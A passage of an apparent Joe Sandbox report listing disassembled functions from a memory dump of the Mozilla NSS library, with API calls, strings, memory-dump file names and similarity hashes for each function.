PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C6A4FAE
free.MOZGLUE(?), ref: 6C6A4FC8

Strings

%s=%s, xrefs: 6C6A4F89
oSjl", xrefs: 6C6A4DFB, 6C6A4EF4, 6C6A4EC5
%s=%c%s%c, xrefs: 6C6A4FA9

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSjl"
API String ID: 2709355791-1702272930
Opcode ID: fca9a81ba8523aca14dbc08f4daa21050ff7d0da49dcbc0711d9b0c024476b13
Instruction ID: cd93809e97a77ff5e94d76bc536f8dfe66d09dc4e4d69f3e3a7436639b7db898
Opcode Fuzzy Hash: fca9a81ba8523aca14dbc08f4daa21050ff7d0da49dcbc0711d9b0c024476b13
Instruction Fuzzy Hash: 53517E31A041458BEF01CAE9CC507FF7BF5BF46348F18A125E890A7A41DB759C078799

Function 6C6CEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C6EA4A1,?,00000000,?,00000001), ref: 6C6CEF6D

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

htonl.WSOCK32(00000000,?,6C6EA4A1,?,00000000,?,00000001), ref: 6C6CEFE4
htonl.WSOCK32(?,00000000,?,6C6EA4A1,?,00000000,?,00000001), ref: 6C6CEFF1
memcpy.VCRUNTIME140(?,?,6C6EA4A1,?,00000000,?,6C6EA4A1,?,00000000,?,00000001), ref: 6C6CF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C6EA4A1,?,00000000,?,00000001), ref: 6C6CF027

Strings

dtls13, xrefs: 6C6CEF33

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 8d5296a2db130c967a5db4ecd286b1dbd4e2043d3c937e944fdbccb9070be444
Instruction ID: 3e4bce2e3c20e294c0b95e4973ef0b5de3b8f2debd473e4908088b73d889c0ab
Opcode Fuzzy Hash: 8d5296a2db130c967a5db4ecd286b1dbd4e2043d3c937e944fdbccb9070be444
Instruction Fuzzy Hash: F3311271B01215AFC710DF28CC85B8AB7F4EF49348F258029E8289B751E731E915CBEA

Function 6C64AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C64AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C769500,6C643F91), ref: 6C64AFD2

Part of subcall function 6C69B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7718D0,?), ref: 6C69B095

DER_GetInteger_Util.NSS3(?), ref: 6C64B007

Part of subcall function 6C696A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C641666,?,6C64B00C,?), ref: 6C696AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C64B02F
PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0), ref: 6C64B046
PL_FreeArenaPool.NSS3 ref: 6C64B058
PL_FinishArenaPool.NSS3 ref: 6C64B060

Strings

security, xrefs: 6C64AFB8

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 40e8d7fa4de44c443b7ae22d3f810b1015a3f659f55d2eafa6d452b91399b37b
Instruction ID: 5e873ee112b951a4dc370f0a9f1c2204f6de72b4445150247f293101e45effbc
Opcode Fuzzy Hash: 40e8d7fa4de44c443b7ae22d3f810b1015a3f659f55d2eafa6d452b91399b37b
Instruction Fuzzy Hash: A231F4705043009BDB208F28D844BAE77A4AFC6B6EF14C619E9745BBD1E332954AC79E

Function 6C643E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C6440D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C643F7F,?,00000055,?,?,6C641666,?,?), ref: 6C6440D9
Part of subcall function 6C6440D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C641666,?,?), ref: 6C6440FC
Part of subcall function 6C6440D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C641666,?,?), ref: 6C644138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C643EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C643ED6

Part of subcall function 6C69B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7718D0,?), ref: 6C69B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C643EEE

Part of subcall function 6C69FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C698D2D,?,00000000,?), ref: 6C69FB85
Part of subcall function 6C69FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C69FBB1

PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0), ref: 6C643F02
PL_FreeArenaPool.NSS3 ref: 6C643F14
PL_FinishArenaPool.NSS3 ref: 6C643F1C

Part of subcall function 6C6A64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6A127C,00000000,00000000,00000000), ref: 6C6A650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C643F27

Strings

security, xrefs: 6C643EBC

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: d0f026482704fd57f0bb23704ea29a96b8276db0602d49cc0f71d1c0acd31c44
Instruction ID: 3aaa39284d78d2bb99e4b3c0e9ea5bc970f2427d3a7f4222068f9242b866db9e
Opcode Fuzzy Hash: d0f026482704fd57f0bb23704ea29a96b8276db0602d49cc0f71d1c0acd31c44
Instruction Fuzzy Hash: 552106B1A04304ABD7108B55AC01FAA77B8FB8571CF04893DF959A6B41E731DA18879E

Function 6C67ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C67ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C67AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C67AD23

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C67AD39

Strings

hSession = 0x%x, xrefs: 6C67ACFE, 6C67AD0E
nul, xrefs: 6C67AD51, 6C67AD7B
C_MessageDecryptFinal, xrefs: 6C67ACE1
(CK_INVALID_HANDLE), xrefs: 6C67AD1C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nul
API String ID: 332880674-949423628
Opcode ID: 7595c052b0c95ae8f90ad28b626347f7fe69558ee6b08d6ba113a935ede43c69
Instruction ID: 77ed2a454bc1a926f465b2efd45812545b26f887e0a6b2e943c380f7546e1b5d
Opcode Fuzzy Hash: 7595c052b0c95ae8f90ad28b626347f7fe69558ee6b08d6ba113a935ede43c69
Instruction Fuzzy Hash: BB21FB717001049FDB109BA5EE4CB9F37B5EB4230AF440835E80E97A12DF30D949C6AA

Function 6C68CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C68CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C68CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C68D079

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 1be790091253a97d5cf3918bff4cd1c0d945195509d99d08573be10b472a8020
Instruction ID: d7ce82f0138b14edb28c91a124e5af43c1ec5c4b0b88c27273069d86fdf69d9d
Opcode Fuzzy Hash: 1be790091253a97d5cf3918bff4cd1c0d945195509d99d08573be10b472a8020
Instruction Fuzzy Hash: CEC1B2B19012199BDB20CF24CC84BDAB7F4BF49308F1441A9E849A7741E775EE95CFA8

Function 6C67DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6897C1,?,00000000,00000000,?,?,?,00000000,?,6C667F4A,00000000), ref: 6C67DC68

Part of subcall function 6C6A0BE0: malloc.MOZGLUE(6C698D2D,?,00000000,?), ref: 6C6A0BF8
Part of subcall function 6C6A0BE0: TlsGetValue.KERNEL32(6C698D2D,?,00000000,?), ref: 6C6A0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C667F4A,00000000,?,00000000,00000000), ref: 6C67DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C667F4A,00000000,?,00000000,00000000), ref: 6C67DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C667F4A,00000000,?,00000000,00000000), ref: 6C67DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C667F4A,00000000,?,00000000,00000000), ref: 6C67DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C667F4A,00000000,?,00000000,00000000), ref: 6C67DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C667F4A,00000000,?,00000000,00000000), ref: 6C67DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C667F4A,00000000,?,00000000,00000000), ref: 6C67DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C667F4A,00000000,?,00000000,00000000), ref: 6C67DFAA

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: da92134fdc762f19a6acc16fe1830e6379bd163caa74643fb603a7b3e1db21c2
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: DE81B5716066018BFB368A59CC903A972D6DB61348F208C3AD51ACAFD1D779D8C6C63E

Function 6C653C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C653C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C653C94

Part of subcall function 6C6495B0: TlsGetValue.KERNEL32(00000000,?,6C6600D2,00000000), ref: 6C6495D2
Part of subcall function 6C6495B0: EnterCriticalSection.KERNEL32(?,?,?,6C6600D2,00000000), ref: 6C6495E7
Part of subcall function 6C6495B0: PR_Unlock.NSS3(?,?,?,?,6C6600D2,00000000), ref: 6C649605

PORT_NewArena_Util.NSS3(00000800), ref: 6C653CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C653CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C653CE1

Part of subcall function 6C653090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C66AE42), ref: 6C6530AA
Part of subcall function 6C653090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6530C7
Part of subcall function 6C653090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6530E5
Part of subcall function 6C653090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C653116
Part of subcall function 6C653090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C65312B
Part of subcall function 6C653090: PK11_DestroyObject.NSS3(?,?), ref: 6C653154
Part of subcall function 6C653090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65317E

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 0b9a092f3cf36a42bad098fa07b5164538f61eb212c488d335f2ac316149291d
Instruction ID: b402d0e63bc6abdb8f3a1fc85fa014dc059e9da2197552268b44f8e5c8d9a784
Opcode Fuzzy Hash: 0b9a092f3cf36a42bad098fa07b5164538f61eb212c488d335f2ac316149291d
Instruction Fuzzy Hash: 4E6107B1B00200ABEB105F65DC41FA776F9EF09B48F584039FD459AA52F721D825C7B9

Function 6C693D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C693440: PK11_GetAllTokens.NSS3 ref: 6C693481
Part of subcall function 6C693440: PR_SetError.NSS3(00000000,00000000), ref: 6C6934A3
Part of subcall function 6C693440: TlsGetValue.KERNEL32 ref: 6C69352E
Part of subcall function 6C693440: EnterCriticalSection.KERNEL32(?), ref: 6C693542
Part of subcall function 6C693440: PR_Unlock.NSS3(?), ref: 6C69355B

TlsGetValue.KERNEL32 ref: 6C693D8B
EnterCriticalSection.KERNEL32(?), ref: 6C693D9F
PR_Unlock.NSS3(?), ref: 6C693DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C693DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C693E4F

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

TlsGetValue.KERNEL32 ref: 6C693E97
EnterCriticalSection.KERNEL32(?), ref: 6C693EAB
PR_Unlock.NSS3(?), ref: 6C693ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C693EEE

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 472ae9ae2bda9402d57de9256294a4d401ad47d7ee97036c5bdb10a45389fcb0
Instruction ID: 01ae1809f63f565f08541cc2356294a130bb21dbf3eaae2dc7b5eac35e4870e3
Opcode Fuzzy Hash: 472ae9ae2bda9402d57de9256294a4d401ad47d7ee97036c5bdb10a45389fcb0
Instruction Fuzzy Hash: 0E515971A002029FDB019F69DC44BAA77B4EF46318F04017ADE0D87B21EB31E955C7DA

Function 6C642C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(5D0A8343), ref: 6C642C5D

Part of subcall function 6C6A0D30: calloc.MOZGLUE ref: 6C6A0D50
Part of subcall function 6C6A0D30: TlsGetValue.KERNEL32 ref: 6C6A0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C642C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C642CE0

Part of subcall function 6C642E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C642CDA,?,00000000), ref: 6C642E1E
Part of subcall function 6C642E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C642E33
Part of subcall function 6C642E00: TlsGetValue.KERNEL32 ref: 6C642E4E
Part of subcall function 6C642E00: EnterCriticalSection.KERNEL32(?), ref: 6C642E5E
Part of subcall function 6C642E00: PL_HashTableLookup.NSS3(?), ref: 6C642E71
Part of subcall function 6C642E00: PL_HashTableRemove.NSS3(?), ref: 6C642E84
Part of subcall function 6C642E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C642E96
Part of subcall function 6C642E00: PR_Unlock.NSS3 ref: 6C642EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C642D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C642D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C642D3F
free.MOZGLUE(00000000), ref: 6C642D73
CERT_DestroyCertificate.NSS3(?), ref: 6C642DB8
free.MOZGLUE ref: 6C642DC8

Part of subcall function 6C643E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C643EC2
Part of subcall function 6C643E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C643ED6
Part of subcall function 6C643E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C643EEE
Part of subcall function 6C643E60: PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0), ref: 6C643F02
Part of subcall function 6C643E60: PL_FreeArenaPool.NSS3 ref: 6C643F14
Part of subcall function 6C643E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C643F27

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 4262d891229c22960c23bc0b762f421707bab2ab75d2be4f4fe95b2bed9abae0
Instruction ID: 11c8f15b3677f67ea7d126231057453019f85e82e73025bcff258eda6c9584f9
Opcode Fuzzy Hash: 4262d891229c22960c23bc0b762f421707bab2ab75d2be4f4fe95b2bed9abae0
Instruction Fuzzy Hash: 1451DE71A042119BEB01DE29DC89B5B77E5EF89348F25C438EC59C3650EB31E8158B9A

Function 6C647CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6440D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C643F7F,?,00000055,?,?,6C641666,?,?), ref: 6C6440D9
Part of subcall function 6C6440D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C641666,?,?), ref: 6C6440FC
Part of subcall function 6C6440D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C641666,?,?), ref: 6C644138

PR_GetCurrentThread.NSS3 ref: 6C647CFD

Part of subcall function 6C709BF0: TlsGetValue.KERNEL32(?,?,?,6C750A75), ref: 6C709C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C769030), ref: 6C647D1B

Part of subcall function 6C69FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C641A3E,00000048,00000054), ref: 6C69FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C769048), ref: 6C647D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C647D50
PR_GetCurrentThread.NSS3 ref: 6C647D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C647D7D
free.MOZGLUE(?), ref: 6C647D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C647DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C647E19

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: b4258f2482a253b3fae160bef4c28706bad6df73513a43aae58b544e11e05701
Instruction ID: d9def0719429a73b741e4a789ab3cafa702df4567acc7c946fbd94c8d3d4f205
Opcode Fuzzy Hash: b4258f2482a253b3fae160bef4c28706bad6df73513a43aae58b544e11e05701
Instruction Fuzzy Hash: F841F172A1011A9BEB009F699C41BAF37E4AF5135CF058034EC19ABB51E730E919C7E9

Function 6C657EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6580DD), ref: 6C657F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6580DD), ref: 6C657F36
free.MOZGLUE(?,?,?,6C6580DD), ref: 6C657F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6580DD), ref: 6C657F5D
